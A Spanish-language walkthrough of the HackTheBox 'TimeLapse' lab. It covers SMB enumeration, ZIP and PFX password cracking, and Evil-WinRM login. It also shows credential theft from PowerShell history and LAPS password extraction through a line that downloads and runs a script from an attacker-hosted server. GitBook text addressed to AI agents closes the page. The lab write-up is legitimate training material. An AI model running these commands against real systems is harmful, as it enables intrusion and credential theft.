> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md). # Guía de HackTheBox TimeLapse Guía de la máquina HackTheBox TimeLapse Fácil Windows que cubre enumeración SMB, cracking de un archivo protegido con contraseña ZIP (fcrackzip), cracking y lectura de un archivo .PFX (crackpkcs12), obtención de acceso SSL con Evil {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeración SMB * Descifrado de archivo ZIP protegido con contraseña (fcrackzip) * Descifrado y lectura de archivo .PFX (crackpkcs12) * Obtener acceso SSL con Evil-WinRM * Fuga de información - Lectura del historial de Powershell del usuario (pivotaje de usuario) * Abusando de LAPS para obtener contraseñas (Get-LAPSPasswords.ps1) (Escalada de privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts ```

**Análisis de puertos abiertos con extractport:**/ Usando la función extractport para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

**Escaneo de versiones de puertos con Nmap :**/ Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted ```

#### Configuración del archivo /etc/hosts para la resolución DNS.

## **Enumeración y explotación:** ### Identificar el nombre de la máquina y el dominio Usando CrackMapExec para identificar el nombre de la máquina y su dominio. ```bash crackmapexec smb 10.10.11.152 ```

### Listar archivos compartidos con SMB: Usando smbclient y smbmap para listar archivos compartidos. ```bash smbclient -L 10.10.11.152 -N ```

```bash smbmap -H 10.10.11.152 -u 'null' ```

### **Acceso a la carpeta compartida y descubrimiento de un archivo ZIP protegido con contraseña** Exploración e identificación de archivos en la carpeta compartida, revelando un archivo ZIP protegido. ```bash smbclient //10.10.11.152/Shares -N ```

### **Crackeo del archivo ZIP con fcrackzip** Usando fcrackzip para intentar encontrar la contraseña del archivo ZIP. ```bash fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip ```

### **Extracción del archivo PFX**

```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes ```

### **Crackeo de la contraseña del archivo PFX:** #### Para crackear un archivo pfx averiguando la contraseña, se usará la herramienta crackpkcs12. {% embed url="" %} ```bash crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx ```

### **Obtener la clave privada y el certificado del archivo PFX** Recuperación de la clave privada

Recuperación del certificado ```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem ```

### **Conexión SSL con Evil-WinRM usando la clave privada y el certificado**

```bash evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S ```

### **Obtener la primera bandera** Obtención de la primera bandera, "user.txt"

## Escalada de privilegios: **Listado de usuarios y privilegios del DC con net users y whoami /priv** Identificación de usuarios y privilegios en el controlador de dominio.

#### **Análisis de grupos de usuarios y descubrimiento de la pertenencia del usuario "svc/ deploy" al grupo "LAPS/ Readers"**

#### **Obtener la contraseña del usuario "svc/ deploy" leyendo el historial de PowerShell** ```bash type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt ```

### **Validación de la contraseña con CrackMapExec** Confirmación de la validez de la contraseña obtenida usando CrackMapExec. ```bash crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' ```

### **Inicio de sesión en Evil-WinRM usando las credenciales del usuario "svc/ deploy"** Conexión al sistema remoto usando las credenciales del usuario "svc/ deploy" con Evil-WinRM.

evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

### **Uso de Get-LAPSPasswords para extraer contraseñas** {% embed url="" %} #### **Descargar el script Get-LAPSPasswords** ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1') ```

### **Ejecución del script y recuperación de contraseñas administrativas**

### **Validación de la contraseña de administrador con CrackMapExec** Confirmación de la validez de la contraseña obtenida usando CrackMapExec desde el usuario Administrador. ```basic crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' ```

### **Conexión final con Evil-WinRM usando los identificadores de administrador** Conexión final al sistema con credenciales de administrador vía Evil-WinRM. ```bash evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S ```

### **Bandera final obtenida :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.